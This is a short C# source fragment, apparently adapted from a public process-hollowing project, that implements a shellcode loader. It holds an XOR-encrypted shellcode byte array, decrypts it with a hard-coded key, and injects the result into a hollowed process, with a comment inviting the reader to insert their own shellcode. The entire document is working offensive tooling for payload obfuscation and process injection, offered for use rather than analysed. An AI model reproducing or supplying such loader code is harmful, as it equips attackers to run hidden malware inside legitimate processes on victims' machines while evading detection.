//https://github.com/ambray/ProcessHollowing/blob/master/ShellLoader/Loader.cs public void Start(string[] args) { byte[] encrypted_shellcode = new byte[] { 0x97, 0x8D, 0xFB, 0x6B, 0x65, 0x79, 0xB, 0xEC, 0x9C, 0x5A, 0xA5, 0x1D, 0xE0, 0x35, 0x49, 0xE0, 0x37, 0x75, 0xE0, 0x37, 0x6D, 0xE0, 0x17, 0x51, 0x64, 0xD2, 0x33, 0x4D, 0x54, 0x86, 0xC7, 0x59, 0x18, 0x17, 0x67, 0x55, 0x4B, 0xA4, 0xB6, 0x66, 0x64, 0xBE, 0x89, 0x97, 0x2B, 0x3C, 0xEE, 0x2B, 0x7B, 0xEE, 0x33, 0x57, 0xEE, 0x35, 0x7A, 0x1D, 0x9A, 0x23, 0x64, 0xA8, 0x3A, 0xEE, 0x20, 0x4B, 0x64, 0xAA, 0xE0, 0x2C, 0x61, 0x88, 0x5F, 0x30, 0xE0, 0x51, 0xF2, 0x6A, 0xB3, 0x48, 0x94, 0xC9, 0xB8, 0xA4, 0x68, 0x78, 0xAC, 0x5D, 0x99, 0x1E, 0x93, 0x7A, 0x16, 0x9D, 0x42, 0x16, 0x41, 0xC, 0x8F, 0x3D, 0xF2, 0x33, 0x41, 0x78, 0xB8, 0x3, 0xF2, 0x67, 0x2E, 0xF2, 0x33, 0x79, 0x78, 0xB8, 0xEE, 0x7D, 0xE0, 0x64, 0xA9, 0xE2, 0x21, 0x5D, 0x4F, 0x3E, 0x22, 0xA, 0x3C, 0x23, 0x3A, 0x9A, 0x99, 0x34, 0x3A, 0x23, 0xE0, 0x77, 0x92, 0xE6, 0x38, 0x13, 0x6A, 0xE8, 0xFC, 0xD9, 0x65, 0x79, 0x6B, 0x35, 0x11, 0x5A, 0xEE, 0x16, 0xEC, 0x9A, 0xAC, 0xD0, 0x95, 0xCC, 0xC9, 0x33, 0x11, 0xCD, 0xF0, 0xC4, 0xF6, 0x9A, 0xAC, 0x57, 0x63, 0x5, 0x61, 0xE5, 0x82, 0x8B, 0x10, 0x7C, 0xD0, 0x22, 0x6A, 0x19, 0xA, 0x13, 0x6B, 0x36, 0x86, 0xBE, 0x6, 0x18, 0x7, 0x6, 0x57, 0xE, 0x1D, 0x1C, 0x6B }; //insert your shellcode here byte[] shellcode = xor(encrypted_shellcode, Encoding.Default.GetBytes("key")); byte[] finalshellcode = new byte[shellcode.Length + target_.Length + 1]; Array.Copy(shellcode, finalshellcode, shellcode.Length); Array.Copy(target_, 0, finalshellcode, shellcode.Length, target_.Length); finalshellcode[shellcode.Length + target_.Length] = 0; Improved ldr = new Improved(); try { Console.WriteLine("Loading shellcode...."); ldr.Load(HollowedProcessX85, finalshellcode); } catch (Exception e) { Console.WriteLine("[x] Something went wrong! " + e.Message); } }
public static void Main(string[] args) { Improved starter = new Improved(); starter.Start(args); }